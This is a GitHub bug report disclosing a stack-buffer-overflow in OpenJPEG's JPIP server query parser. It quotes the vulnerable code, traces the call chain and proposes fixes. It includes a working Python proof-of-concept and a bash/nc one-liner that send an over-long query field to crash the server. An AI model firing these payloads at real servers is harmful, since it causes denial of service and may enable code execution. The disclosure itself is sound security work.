Skip to content

[Bug]Stack-buffer-overflow in get_fieldparam() while parsing JPIP server query strings (OpenJPEG opj_server) #1660

Description

@1820893135-pixel

Summary

OpenJPEG's JPIP server component (opj_server, built with BUILD_JPIP_SERVER=ON) parses the HTTP QUERY_STRING. get_fieldparam() in src/lib/openjpip/query_parser.c copies attacker-controlled field names/values into fixed stack buffers fieldname[10]/fieldval[128] using unbounded strncpy() and an out-of-bounds NUL terminator, causing a network-triggerable stack-buffer-overflow (potential RCE or DoS). Present in 2.5.4 and current master; upstream fix PR #1656 is not merged.

Affected: OpenJPEG 2.5.4 / master (2026-07-07). Status: candidate — static call chain verified.

Vulnerable code

Entry (src/bin/jpip/opj_server.c:93-100):

#ifdef SERVER
        query_string = getenv("QUERY_STRING");      /* 93: no length check */
#endif
        if (strcmp(query_string, QUIT_SIGNAL) == 0) break;
        qr = parse_querystring(query_string);       /* 100 */

Fixed stack buffers (src/lib/openjpip/query_parser.c:83-92):

#define MAX_LENOFFIELDNAME 10
#define MAX_LENOFFIELDVAL 128
char fieldname[MAX_LENOFFIELDNAME], fieldval[MAX_LENOFFIELDVAL];  /* 92: 10/128 bytes */

OOB write sink (src/lib/openjpip/query_parser.c:228-233):

assert((size_t)(eqp - stringptr));
strncpy(fieldname, stringptr, (size_t)(eqp - stringptr));   /* 228: length = up to '=' */
fieldname[eqp - stringptr] = '\0';
assert(andp - eqp - 1 >= 0);
strncpy(fieldval, eqp + 1, (size_t)(andp - eqp - 1));       /* 231: length = up to '&' */
fieldval[andp - eqp - 1] = '\0';                            /* 232: OOB NUL */

The copy lengths are fully attacker-controlled via the =/& delimiters. A field value >= 128 bytes (or field name >= 10 bytes) overflows the stack. The only protection is assert(), which is compiled out under NDEBUG (release builds).

Discovery chain (call-stack level)

GET /?target=<137 x 'A'>&x=1 HTTP/1.1          // attacker request
+-- FCGI_Accept()                              // opj_server.c:96 (FastCGI mode)
+-- query_string = getenv("QUERY_STRING")      // opj_server.c:93 (no length check)
+-- parse_querystring(query_string)            // opj_server.c:100
    +-- parse_query(query_string)              // openjpip.c:85
        +-- char fieldname[10], fieldval[128]  // query_parser.c:92
        +-- while (pquery != NULL)             // query_parser.c:99
            +-- get_fieldparam(pquery, fieldname, fieldval)  // query_parser.c:100
                +-- strncpy(fieldname, ..., eqp-stringptr)   // query_parser.c:228
                +-- strncpy(fieldval, ..., andp-eqp-1)       // query_parser.c:231
                    -> 137 bytes into fieldval[128] -> stack-buffer-overflow (CWE-121)
                    -> overwrite return address -> RCE / SIGSEGV

Reproduction

Run opj_server in FastCGI SERVER mode (BUILD_JPIP_SERVER=ON + FCGI), default port 60000.

Option A: Python (full script)

#!/usr/bin/env python3
"""poc_openjpip_stack_overflow.py - trigger get_fieldparam() stack overflow"""
import socket, sys

HOST = "127.0.0.1"
PORT = 60000
OVF_LEN = 137   # must be > 128 (MAX_LENOFFIELDVAL)

def build_payload(field_name: bytes, field_val: bytes) -> bytes:
    return (b"GET /?" + field_name + b"=" + field_val + b"&x=1 "
            b"HTTP/1.1\r\nHost: victim\r\n\r\n")

def main():
    name = sys.argv[1].encode() if len(sys.argv) > 1 else b"target"
    val = b"A" * OVF_LEN
    payload = build_payload(name, val)
    print(f"[*] field value: {OVF_LEN} x 'A' (limit 128)")
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(payload)
        try:
            print(s.recv(4096))
        except socket.timeout:
            print("[*] no response (server likely crashed)")
        s.close()
    except ConnectionRefusedError:
        print(f"[!] connection refused: {HOST}:{PORT}")
    return 0

if __name__ == "__main__":
    sys.exit(main())

Option B: Bash + nc

VALUE=$(python3 -c "print('A'*137, end='')")
printf 'GET /?target=%s&x=1 HTTP/1.1\r\nHost: victim\r\n\r\n' "$VALUE" | nc 127.0.0.1 60000

Expected (ASan):

==ERROR: AddressSanitizer: stack-buffer-overflow on address ...
WRITE of size 137 at ...
    #0 in get_fieldparam query_parser.c:232
    #1 in parse_query query_parser.c:100
    #2 in parse_querystring openjpip.c:85
    #3 in main opj_server.c:100

Production build: Segmentation fault (core dumped) or RCE via return-address overwrite.

Suggested fix

  1. Bound every copy by the destination capacity (per upstream PR openjpip: bound query parser field copies #1656: add copy_query_field(), reject when src_size >= dst_size, use length-checked memcpy with explicit NUL termination);
  2. Reject input where '&' precedes '=' (guard the negative andp - eqp - 1 case);
  3. Do not rely on assert() as a security control in release builds (NDEBUG strips it).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions